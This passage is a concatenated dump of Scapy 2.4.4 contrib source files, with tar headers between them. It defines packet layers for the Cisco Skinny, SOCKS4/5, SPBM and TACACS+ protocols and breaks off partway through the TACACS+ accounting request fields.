##################################################################### # Helpers and constants ##################################################################### skinny_messages_cls = { # Station -> Callmanager 0x0000: "SkinnyMessageKeepAlive", 0x0001: "SkinnyMessageRegister", 0x0002: "SkinnyMessageIpPort", 0x0003: "SkinnyMessageKeypadButton", 0x0004: "SkinnyMessageEnblocCall", 0x0005: "SkinnyMessageStimulus", 0x0006: "SkinnyMessageOffHook", 0x0007: "SkinnyMessageOnHook", 0x0008: "SkinnyMessageHookFlash", 0x0009: "SkinnyMessageForwardStatReq", 0x000A: "SkinnyMessageSpeedDialStatReq", 0x000B: "SkinnyMessageLineStatReq", 0x000C: "SkinnyMessageConfigStatReq", 0x000D: "SkinnyMessageTimeDateReq", 0x000E: "SkinnyMessageButtonTemplateReq", 0x000F: "SkinnyMessageVersionReq", 0x0010: "SkinnyMessageCapabilitiesRes", 0x0011: "SkinnyMessageMediaPortList", 0x0012: "SkinnyMessageServerReq", 0x0020: "SkinnyMessageAlarm", 0x0021: "SkinnyMessageMulticastMediaReceptionAck", 0x0022: "SkinnyMessageOpenReceiveChannelAck", 0x0023: "SkinnyMessageConnectionStatisticsRes", 0x0024: "SkinnyMessageOffHookWithCgpn", 0x0025: "SkinnyMessageSoftKeySetReq", 0x0026: "SkinnyMessageSoftKeyEvent", 0x0027: "SkinnyMessageUnregister", 0x0028: "SkinnyMessageSoftKeyTemplateReq", 0x0029: "SkinnyMessageRegisterTokenReq", 0x002A: "SkinnyMessageMediaTransmissionFailure", 0x002B: "SkinnyMessageHeadsetStatus", 0x002C: "SkinnyMessageMediaResourceNotification", 0x002D: "SkinnyMessageRegisterAvailableLines", 0x002E: "SkinnyMessageDeviceToUserData", 0x002F: "SkinnyMessageDeviceToUserDataResponse", 0x0030: "SkinnyMessageUpdateCapabilities", 0x0031: "SkinnyMessageOpenMultiMediaReceiveChannelAck", 0x0032: "SkinnyMessageClearConference", 0x0033: "SkinnyMessageServiceURLStatReq", 0x0034: "SkinnyMessageFeatureStatReq", 0x0035: "SkinnyMessageCreateConferenceRes", 0x0036: "SkinnyMessageDeleteConferenceRes", 0x0037: "SkinnyMessageModifyConferenceRes", 0x0038: "SkinnyMessageAddParticipantRes", 0x0039: "SkinnyMessageAuditConferenceRes", 0x0040: "SkinnyMessageAuditParticipantRes", 0x0041: "SkinnyMessageDeviceToUserDataVersion1", # Callmanager -> Station */ 0x0081: "SkinnyMessageRegisterAck", 0x0082: "SkinnyMessageStartTone", 0x0083: "SkinnyMessageStopTone", 0x0085: "SkinnyMessageSetRinger", 0x0086: "SkinnyMessageSetLamp", 0x0087: "SkinnyMessageSetHkFDetect", 0x0088: "SkinnyMessageSpeakerMode", 0x0089: "SkinnyMessageSetMicroMode", 0x008A: "SkinnyMessageStartMediaTransmission", 0x008B: "SkinnyMessageStopMediaTransmission", 0x008C: "SkinnyMessageStartMediaReception", 0x008D: "SkinnyMessageStopMediaReception", 0x008F: "SkinnyMessageCallInfo", 0x0090: "SkinnyMessageForwardStat", 0x0091: "SkinnyMessageSpeedDialStat", 0x0092: "SkinnyMessageLineStat", 0x0093: "SkinnyMessageConfigStat", 0x0094: "SkinnyMessageTimeDate", 0x0095: "SkinnyMessageStartSessionTransmission", 0x0096: "SkinnyMessageStopSessionTransmission", 0x0097: "SkinnyMessageButtonTemplate", 0x0098: "SkinnyMessageVersion", 0x0099: "SkinnyMessageDisplayText", 0x009A: "SkinnyMessageClearDisplay", 0x009B: "SkinnyMessageCapabilitiesReq", 0x009C: "SkinnyMessageEnunciatorCommand", 0x009D: "SkinnyMessageRegisterReject", 0x009E: "SkinnyMessageServerRes", 0x009F: "SkinnyMessageReset", 0x0100: "SkinnyMessageKeepAliveAck", 0x0101: "SkinnyMessageStartMulticastMediaReception", 0x0102: "SkinnyMessageStartMulticastMediaTransmission", 0x0103: "SkinnyMessageStopMulticastMediaReception", 0x0104: "SkinnyMessageStopMulticastMediaTransmission", 0x0105: "SkinnyMessageOpenReceiveChannel", 0x0106: "SkinnyMessageCloseReceiveChannel", 0x0107: "SkinnyMessageConnectionStatisticsReq", 0x0108: "SkinnyMessageSoftKeyTemplateRes", 0x0109: "SkinnyMessageSoftKeySetRes", 0x0110: "SkinnyMessageStationSelectSoftKeysMessage", 0x0111: "SkinnyMessageCallState", 0x0112: "SkinnyMessagePromptStatus", 0x0113: "SkinnyMessageClearPromptStatus", 0x0114: "SkinnyMessageDisplayNotify", 0x0115: "SkinnyMessageClearNotify", 0x0116: "SkinnyMessageCallPlane", 0x0117: "SkinnyMessageCallPlane", 0x0118: "SkinnyMessageUnregisterAck", 0x0119: "SkinnyMessageBackSpaceReq", 0x011A: "SkinnyMessageRegisterTokenAck", 0x011B: "SkinnyMessageRegisterTokenReject", 0x0042: "SkinnyMessageDeviceToUserDataResponseVersion1", 0x011C: "SkinnyMessageStartMediaFailureDetection", 0x011D: "SkinnyMessageDialedNumber", 0x011E: "SkinnyMessageUserToDeviceData", 0x011F: "SkinnyMessageFeatureStat", 0x0120: "SkinnyMessageDisplayPriNotify", 0x0121: "SkinnyMessageClearPriNotify", 0x0122: "SkinnyMessageStartAnnouncement", 0x0123: "SkinnyMessageStopAnnouncement", 0x0124: "SkinnyMessageAnnouncementFinish", 0x0127: "SkinnyMessageNotifyDtmfTone", 0x0128: "SkinnyMessageSendDtmfTone", 0x0129: "SkinnyMessageSubscribeDtmfPayloadReq", 0x012A: "SkinnyMessageSubscribeDtmfPayloadRes", 0x012B: "SkinnyMessageSubscribeDtmfPayloadErr", 0x012C: "SkinnyMessageUnSubscribeDtmfPayloadReq", 0x012D: "SkinnyMessageUnSubscribeDtmfPayloadRes", 0x012E: "SkinnyMessageUnSubscribeDtmfPayloadErr", 0x012F: "SkinnyMessageServiceURLStat", 0x0130: "SkinnyMessageCallSelectStat", 0x0131: "SkinnyMessageOpenMultiMediaChannel", 0x0132: "SkinnyMessageStartMultiMediaTransmission", 0x0133: "SkinnyMessageStopMultiMediaTransmission", 0x0134: "SkinnyMessageMiscellaneousCommand", 0x0135: "SkinnyMessageFlowControlCommand", 0x0136: "SkinnyMessageCloseMultiMediaReceiveChannel", 0x0137: "SkinnyMessageCreateConferenceReq", 0x0138: "SkinnyMessageDeleteConferenceReq", 0x0139: "SkinnyMessageModifyConferenceReq", 0x013A: "SkinnyMessageAddParticipantReq", 0x013B: "SkinnyMessageDropParticipantReq", 0x013C: "SkinnyMessageAuditConferenceReq", 0x013D: "SkinnyMessageAuditParticipantReq", 0x013F: "SkinnyMessageUserToDeviceDataVersion1", } skinny_callstates = { 0x1: "Off Hook", 0x2: "On Hook", 0x3: "Ring out", 0xc: "Proceeding", } skinny_ring_type = { 0x1: "Ring off" } skinny_speaker_modes = { 0x1: "Speaker on", 0x2: "Speaker off" } skinny_lamp_mode = { 0x1: "Off (?)", 0x2: "On", } skinny_stimulus = { 0x9: "Line" } ############ # Fields # ############ class SkinnyDateTimeField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, 32) def m2i(self, pkt, s): year, month, dow, day, hour, min, sec, millisecond = struct.unpack('<8I', s) # noqa: E501 return (year, month, day, hour, min, sec) def i2m(self, pkt, val): if isinstance(val, str): val = self.h2i(pkt, val) tmp_lst = val[:2] + (0,) + val[2:7] + (0,) return struct.pack('<8I', *tmp_lst) def i2h(self, pkt, x): if isinstance(x, str): return x else: return time.ctime(time.mktime(x + (0, 0, 0))) def i2repr(self, pkt, x): return self.i2h(pkt, x) def h2i(self, pkt, s): t = () if isinstance(s, str): t = time.strptime(s) t = t[:2] + t[2:-3] else: if not s: y, m, d, h, min, sec, rest, rest, rest = time.gmtime(time.time()) # noqa: E501 t = (y, m, d, h, min, sec) else: t = s return t ########################### # Packet abstract class # ########################### class SkinnyMessageGeneric(Packet): name = 'Generic message' class SkinnyMessageKeepAlive(Packet): name = 'keep alive' class SkinnyMessageKeepAliveAck(Packet): name = 'keep alive ack' class SkinnyMessageOffHook(Packet): name = 'Off Hook' fields_desc = [LEIntField("unknown1", 0), LEIntField("unknown2", 0), ] class SkinnyMessageOnHook(SkinnyMessageOffHook): name = 'On Hook' class SkinnyMessageCallState(Packet): name = 'Skinny Call state message' fields_desc = [LEIntEnumField("state", 1, skinny_callstates), LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("unknown1", 4), LEIntField("unknown2", 0), LEIntField("unknown3", 0)] class SkinnyMessageSoftKeyEvent(Packet): name = 'Soft Key Event' fields_desc = [LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSetRinger(Packet): name = 'Ring message' fields_desc = [LEIntEnumField("ring", 0x1, skinny_ring_type), LEIntField("unknown1", 0), LEIntField("unknown2", 0), LEIntField("unknown3", 0)] _skinny_tones = { 0x21: 'Inside dial tone', 0x22: 'xxx', 0x23: 'xxx', 0x24: 'Alerting tone', 0x25: 'Reorder Tone' } class SkinnyMessageStartTone(Packet): name = 'Start tone' fields_desc = [LEIntEnumField("tone", 0x21, _skinny_tones), LEIntField("unknown1", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageStopTone(SkinnyMessageGeneric): name = 'stop tone' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageSpeakerMode(Packet): name = 'Speaker mdoe' fields_desc = [LEIntEnumField("ring", 0x1, skinny_speaker_modes)] class SkinnyMessageSetLamp(Packet): name = 'Lamp message (light of the phone)' fields_desc = [LEIntEnumField("stimulus", 0x5, skinny_stimulus), LEIntField("instance", 1), LEIntEnumField("mode", 2, skinny_lamp_mode)] class SkinnyMessageStationSelectSoftKeysMessage(Packet): name = 'Station Select Soft Keys Message' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0), LEIntField("set", 0), LEIntField("map", 0xffff)] class SkinnyMessagePromptStatus(Packet): name = 'Prompt status' fields_desc = [LEIntField("timeout", 0), StrFixedLenField("text", b"\0" * 32, 32), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageCallPlane(Packet): name = 'Activate/Deactivate Call Plane Message' fields_desc = [LEIntField("instance", 1)] class SkinnyMessageTimeDate(Packet): name = 'Setting date and time' fields_desc = [SkinnyDateTimeField("settime", None), LEIntField("timestamp", 0)] class SkinnyMessageClearPromptStatus(Packet): name = 'clear prompt status' fields_desc = [LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageKeypadButton(Packet): name = 'keypad button' fields_desc = [LEIntField("key", 0), LEIntField("instance", 1), LEIntField("callid", 0)] class SkinnyMessageDialedNumber(Packet): name = 'dialed number' fields_desc = [StrFixedLenField("number", "1337", 24), LEIntField("instance", 1), LEIntField("callid", 0)] _skinny_message_callinfo_restrictions = ['CallerName', 'CallerNumber', 'CalledName', 'CalledNumber', 'OriginalCalledName', 'OriginalCalledNumber', 'LastRedirectName', 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8, 15)] # noqa: E501 class SkinnyMessageCallInfo(Packet): name = 'call information' fields_desc = [StrFixedLenField("callername", "Jean Valjean", 40), StrFixedLenField("callernum", "1337", 24), StrFixedLenField("calledname", "Causette", 40), StrFixedLenField("callednum", "1034", 24), LEIntField("lineinstance", 1), LEIntField("callid", 0), StrFixedLenField("originalcalledname", "Causette", 40), StrFixedLenField("originalcallednum", "1034", 24), StrFixedLenField("lastredirectingname", "Causette", 40), StrFixedLenField("lastredirectingnum", "1034", 24), LEIntField("originalredirectreason", 0), LEIntField("lastredirectreason", 0), StrFixedLenField('voicemailboxG', b'\0' * 24, 24), StrFixedLenField('voicemailboxD', b'\0' * 24, 24), StrFixedLenField('originalvoicemailboxD', b'\0' * 24, 24), StrFixedLenField('lastvoicemailboxD', b'\0' * 24, 24), LEIntField('security', 0), FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions), # noqa: E501 LEIntField('unknown', 0)] class SkinnyRateField(LEIntField): def i2repr(self, pkt, x): if x is None: x = 0 return '%d ms/pkt' % x _skinny_codecs = { 0x0: 'xxx', 0x1: 'xxx', 0x2: 'xxx', 0x3: 'xxx', 0x4: 'G711 ulaw 64k' } _skinny_echo = { 0x0: 'echo cancellation off', 0x1: 'echo cancellation on' } class SkinnyMessageOpenReceiveChannel(Packet): name = 'open receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntEnumField('echo', 0, _skinny_echo), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer _skinny_receive_channel_status = { 0x0: 'ok', 0x1: 'ko' } class SkinnyMessageOpenReceiveChannelAck(Packet): name = 'open receive channel' fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), LEIntField('passthru', 0), LEIntField('callid', 0)] _skinny_silence = { 0x0: 'silence suppression off', 0x1: 'silence suppression on', } class SkinnyFramePerPacketField(LEIntField): def i2repr(self, pkt, x): if x is None: x = 0 return '%d frames/pkt' % x class SkinnyMessageStartMediaTransmission(Packet): name = 'start multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), SkinnyFramePerPacketField('maxframes', 0), LEIntField('unknown1', 0), LEIntField('callid', 0)] def guess_payload_class(self, p): return conf.padding_layer class SkinnyMessageCloseReceiveChannel(Packet): name = 'close receive channel' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), IPField('remote', '0.0.0.0'), LEIntField('port', RandShort()), SkinnyRateField('rate', 20), LEIntEnumField('codec', 4, _skinny_codecs), LEIntField('precedence', 200), LEIntEnumField('silence', 0, _skinny_silence), LEIntField('callid', 0)] class SkinnyMessageStopMultiMediaTransmission(Packet): name = 'stop multimedia transmission' fields_desc = [LEIntField('conference', 0), LEIntField('passthru', 0), LEIntField('callid', 0)] class Skinny(Packet): name = "Skinny" fields_desc = [LEIntField("len", None), LEIntField("res", 0), LEIntEnumField("msg", 0, skinny_messages_cls)] def post_build(self, pkt, p): if self.len is None: # on compte pas les headers len et reserved tmp_len = len(p) + len(pkt) - 8 pkt = struct.pack('@I', tmp_len) + pkt[4:] return pkt + p # An helper def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) # return __builtin__.__dict__.get(name, fallback_cls) for msgid, strcls in skinny_messages_cls.items(): cls = get_cls(strcls, SkinnyMessageGeneric) bind_layers(Skinny, cls, {"msg": msgid}) bind_layers(TCP, Skinny, {"dport": 2000}) bind_layers(TCP, Skinny, {"sport": 2000}) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="Welcome to Skinny add-on") scapy-2.4.4/scapy/contrib/socks.py000066400000000000000000000125221372370053500171220ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # scapy.contrib.description = Socket Secure (SOCKS) # scapy.contrib.status = loads """SOCKS4/5 Protocol You can change the server ports that are used in the SOCKS layer by editing. conf.contribs['socks']['serverports'] """ from scapy.config import conf from scapy.error import warning from scapy.layers.dns import DNSStrField from scapy.layers.inet import TCP, UDP from scapy.layers.inet6 import IP6Field from scapy.fields import ByteField, ByteEnumField, ShortField, IPField, \ StrField, MultipleTypeField from scapy.packet import Packet, bind_layers, bind_bottom_up # TODO: support the 3 different authentication exchange procedures for SOCKS5 # noqa: E501 # 1 - Plain (https://tools.ietf.org/html/rfc1928 - 3.Procedure for TCP-based clients) # noqa: E501 # 2 - Username/password (https://tools.ietf.org/html/rfc1929) # 3 - GSS-API (https://tools.ietf.org/html/rfc1961) conf.contribs.setdefault('socks', {}) conf.contribs['socks'].setdefault('serverports', [1080]) class SOCKS(Packet): fields_desc = [ ByteEnumField("vn", 0x5, {0x4: "v4 - Request", 0x0: "v4 - Reply", 0x5: "v5"}), ] def guess_payload_class(self, pkt): d_port = s_port = True if self.underlayer and isinstance(self.underlayer, TCP): ports = conf.contribs['socks']['serverports'] d_port = self.underlayer.dport in ports s_port = self.underlayer.sport in ports if self.vn == 0x5: if d_port: return SOCKS5Request elif s_port: return SOCKS5Reply elif self.vn == 0x4: if d_port: return SOCKS4Request elif self.vn == 0x0: if s_port: return SOCKS4Reply warning("No TCP underlayer, or dport/sport not in " "conf.contribs['socks']['serverports']. " "Assuming a SOCKS v5 request layer") return SOCKS5Request def add_payload(self, payload): if self.underlayer and isinstance(self.underlayer, TCP): if isinstance(payload, (SOCKS5Request, SOCKS4Request)): self.underlayer.dport = 1080 self.underlayer.sport = 1081 elif isinstance(payload, (SOCKS5Reply, SOCKS4Reply)): self.underlayer.sport = 1080 self.underlayer.dport = 1081 Packet.add_payload(self, payload) bind_bottom_up(TCP, SOCKS, sport=1080) bind_bottom_up(TCP, SOCKS, dport=1080) # SOCKS v4 _socks4_cd_request = { 1: "Connect", 2: "Bind" } class SOCKS4Request(Packet): name = "SOCKS 4 - Request" overload_fields = {SOCKS: {"vn": 0x4}} fields_desc = [ ByteEnumField("cd", 1, _socks4_cd_request), ShortField("dstport", 80), IPField("dst", "0.0.0.0"), StrField("userid", ""), ByteField("null", 0), ] _socks4_cd_reply = { 90: "Request granted", 91: "Request rejected", 92: "Request rejected - SOCKS server cannot connect to identd", 93: "Request rejected - user-ids mismatch" } class SOCKS4Reply(Packet): name = "SOCKS 4 - Reply" overload_fields = {SOCKS: {"vn": 0x0}} fields_desc = [ ByteEnumField("cd", 90, _socks4_cd_reply), ] + SOCKS4Request.fields_desc[1:-2] # Re-use dstport, dst and userid # SOCKS v5 - TCP _socks5_cdtypes = { 1: "Connect", 2: "Bind", 3: "UDP associate", } class SOCKS5Request(Packet): name = "SOCKS 5 - Request" overload_fields = {SOCKS: {"vn": 0x5}} fields_desc = [ ByteEnumField("cd", 0x0, _socks5_cdtypes), ByteField("res", 0), ByteEnumField("atyp", 0x1, {0x1: "IPv4", 0x3: "DomainName", 0x4: "IPv6"}), MultipleTypeField( [ # IPv4 (IPField("addr", "0.0.0.0"), lambda pkt: pkt.atyp == 0x1), # DNS (DNSStrField("addr", ""), lambda pkt: pkt.atyp == 0x3), # IPv6 (IP6Field("addr", "::"), lambda pkt: pkt.atyp == 0x4), ], StrField("addr", "") ), ShortField("port", 80), ] _socks5_rep = { 0: "succeeded", 1: "general server failure", 2: "connection not allowed by ruleset", 3: "network unreachable", 4: "host unreachable", 5: "connection refused", 6: "TTL expired", 7: "command not supported", 8: "address type not supported", } class SOCKS5Reply(Packet): name = "SOCKS 5 - Reply" overload_fields = {SOCKS: {"vn": 0x5}} # All fields are the same except the first one fields_desc = [ ByteEnumField("rep", 0x0, _socks5_rep), ] + SOCKS5Request.fields_desc[1:] # SOCKS v5 - UDP class SOCKS5UDP(Packet): name = "SOCKS 5 - UDP Header" fields_desc = [ ShortField("res", 0), ByteField("frag", 0), ] + SOCKS5Request.fields_desc[2:] # Re-use the atyp, addr and port fields def guess_payload_class(self, s): if self.port == 0: return conf.raw_layer return UDP(sport=self.port, dport=self.port).guess_payload_class(None) bind_bottom_up(UDP, SOCKS5UDP, sport=1080) bind_bottom_up(UDP, SOCKS5UDP, sport=1080) bind_layers(UDP, SOCKS5UDP, sport=1080, dport=1080) scapy-2.4.4/scapy/contrib/spbm.py000066400000000000000000000046121372370053500167420ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # IEEE 802.1aq - Shorest Path Bridging Mac-in-mac (SPBM): # Ethernet based link state protocol that enables Layer 2 Unicast, Layer 2 Multicast, Layer 3 Unicast, and Layer 3 Multicast virtualized services # noqa: E501 # https://en.wikipedia.org/wiki/IEEE_802.1aq # Modeled after the scapy VXLAN contribution # scapy.contrib.description = Shorest Path Bridging Mac-in-mac (SBPM) # scapy.contrib.status = loads """ Example SPB Frame Creation Note the outer Dot1Q Ethertype marking (0x88e7) backboneEther = Ether(dst='00:bb:00:00:90:00', src='00:bb:00:00:40:00', type=0x8100) # noqa: E501 backboneDot1Q = Dot1Q(vlan=4051,type=0x88e7) backboneServiceID = SPBM(prio=1,isid=20011) customerEther = Ether(dst='00:1b:4f:5e:ca:00',src='00:00:00:00:00:01',type=0x8100) # noqa: E501 customerDot1Q = Dot1Q(prio=1,vlan=11,type=0x0800) customerIP = IP(src='10.100.11.10',dst='10.100.12.10',id=0x0629,len=106) # noqa: E501 customerUDP = UDP(sport=1024,dport=1025,chksum=0,len=86) spb_example = backboneEther/backboneDot1Q/backboneServiceID/customerEther/customerDot1Q/customerIP/customerUDP/"Payload" # noqa: E501 """ from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ThreeBytesField from scapy.layers.l2 import Ether, Dot1Q, Dot1AD class SPBM(Packet): name = "SPBM" fields_desc = [BitField("prio", 0, 3), BitField("dei", 0, 1), BitField("nca", 0, 1), BitField("res1", 0, 1), BitField("res2", 0, 2), ThreeBytesField("isid", 0)] def mysummary(self): return self.sprintf("SPBM (isid=%SPBM.isid%") bind_layers(Ether, SPBM, type=0x88e7) bind_layers(Dot1Q, SPBM, type=0x88e7) bind_layers(Dot1AD, SPBM, type=0x88e7) bind_layers(SPBM, Ether) scapy-2.4.4/scapy/contrib/tacacs.py000077500000000000000000000363011372370053500172420ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2017 Francois Contat # Based on tacacs+ v6 draft https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06 # noqa: E501 # scapy.contrib.description = Terminal Access Controller Access-Control System+ # scapy.contrib.status = loads import struct import hashlib from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IntField from scapy.fields import FieldListField from scapy.fields import FieldLenField, ConditionalField, StrLenField from scapy.layers.inet import TCP from scapy.compat import chb, orb from scapy.config import conf from scapy.modules.six.moves import range SECRET = 'test' def obfuscate(pay, secret, session_id, version, seq): ''' Obfuscation methodology from section 3.7 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7 ''' pad = b"" curr_pad = b"" # pad length must equal the payload to obfuscate. # pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]} while len(pad) < len(pay): msg = hashlib.md5() msg.update(struct.pack('!I', session_id)) msg.update(secret.encode()) msg.update(struct.pack('!BB', version, seq)) msg.update(curr_pad) curr_pad = msg.digest() pad += curr_pad # Obf/Unobfuscation via XOR operation between plaintext and pad return b"".join(chb(orb(pad[i]) ^ orb(pay[i])) for i in range(len(pay))) TACACSPRIVLEVEL = {15: 'Root', 1: 'User', 0: 'Minimum'} ########################## # Authentication Packets # ########################## TACACSVERSION = {1: 'Tacacs', 192: 'Tacacs+'} TACACSTYPE = {1: 'Authentication', 2: 'Authorization', 3: 'Accounting'} TACACSFLAGS = {1: 'Unencrypted', 4: 'Single Connection'} TACACSAUTHENACTION = {1: 'Login', 2: 'Change Pass', 4: 'Send Authentication'} TACACSAUTHENTYPE = {1: 'ASCII', 2: 'PAP', 3: 'CHAP', 4: 'ARAP', # Deprecated 5: 'MSCHAP', 6: 'MSCHAPv2'} TACACSAUTHENSERVICE = {0: 'None', 1: 'Login', 2: 'Enable', 3: 'PPP', 4: 'ARAP', 5: 'PT', 6: 'RCMD', 7: 'X25', 8: 'NASI', 9: 'FwProxy'} TACACSREPLYPASS = {1: 'PASS', 2: 'FAIL', 3: 'GETDATA', 4: 'GETUSER', 5: 'GETPASS', 6: 'RESTART', 7: 'ERROR', 21: 'FOLLOW'} TACACSREPLYFLAGS = {1: 'NOECHO'} TACACSCONTINUEFLAGS = {1: 'ABORT'} class TacacsAuthenticationStart(Packet): ''' Tacacs authentication start body from section 4.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.1 ''' name = 'Tacacs Authentication Start Body' fields_desc = [ByteEnumField('action', 1, TACACSAUTHENACTION), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('data_len', None, fmt='!B', length_of='data'), ConditionalField(StrLenField('user', '', length_from=lambda x: x.user_len), # noqa: E501 lambda x: x != ''), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsAuthenticationReply(Packet): ''' Tacacs authentication reply body from section 4.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2 ''' name = 'Tacacs Authentication Reply Body' fields_desc = [ByteEnumField('status', 1, TACACSREPLYPASS), ByteEnumField('flags', 0, TACACSREPLYFLAGS), FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] class TacacsAuthenticationContinue(Packet): ''' Tacacs authentication continue body from section 4.3 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3 ''' name = 'Tacacs Authentication Continue Body' fields_desc = [FieldLenField('user_msg_len', None, fmt='!H', length_of='user_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), ByteEnumField('flags', 1, TACACSCONTINUEFLAGS), StrLenField('user_msg', '', length_from=lambda x: x.user_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] ######################### # Authorization Packets # ######################### TACACSAUTHORTYPE = {0: 'Not Set', 1: 'None', 2: 'Kerberos 5', 3: 'Line', 4: 'Enable', 5: 'Local', 6: 'Tacacs+', 8: 'Guest', 16: 'Radius', 17: 'Kerberos 4', 32: 'RCMD'} TACACSAUTHORSTATUS = {1: 'Pass Add', 2: 'Pass repl', 16: 'Fail', 17: 'Error', 33: 'Follow'} class TacacsAuthorizationRequest(Packet): ''' Tacacs authorization request body from section 5.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1 ''' name = 'Tacacs Authorization Request Body' fields_desc = [ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldListField('arg_len_list', [], ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('user', '', length_from=lambda x: x.user_len), StrLenField('port', '', length_from=lambda x: x.port_len), StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)] # noqa: E501 def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer class TacacsAuthorizationReply(Packet): ''' Tacacs authorization reply body from section 5.2 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2 ''' name = 'Tacacs Authorization Reply Body' fields_desc = [ByteEnumField('status', 0, TACACSAUTHORSTATUS), FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'), # noqa: E501 FieldLenField('data_len', None, fmt='!H', length_of='data'), FieldListField('arg_len_list', [], ByteField('', 0), length_from=lambda pkt: pkt.arg_cnt), StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len), # noqa: E501 StrLenField('data', '', length_from=lambda x: x.data_len)] def guess_payload_class(self, pay): if self.arg_cnt > 0: return TacacsPacketArguments return conf.padding_layer ###################### # Accounting Packets # ###################### TACACSACNTFLAGS = {2: 'Start', 4: 'Stop', 8: 'Watchdog'} TACACSACNTSTATUS = {1: 'Success', 2: 'Error', 33: 'Follow'} class TacacsAccountingRequest(Packet): ''' Tacacs accounting request body from section 6.1 https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1 ''' name = 'Tacacs Accounting Request Body' fields_desc = [ByteEnumField('flags', 0, TACACSACNTFLAGS), ByteEnumField('authen_method', 0, TACACSAUTHORTYPE), ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL), ByteEnumField('authen_type', 1, TACACSAUTHENTYPE), ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE), FieldLenField('user_len', None, fmt='!B', length_of='user'), FieldLenField('port_len', None, fmt='!B', length_of='port'), FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'), # noqa: E501 FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'), # noqa: E501 FieldListField('arg_len_list', [], 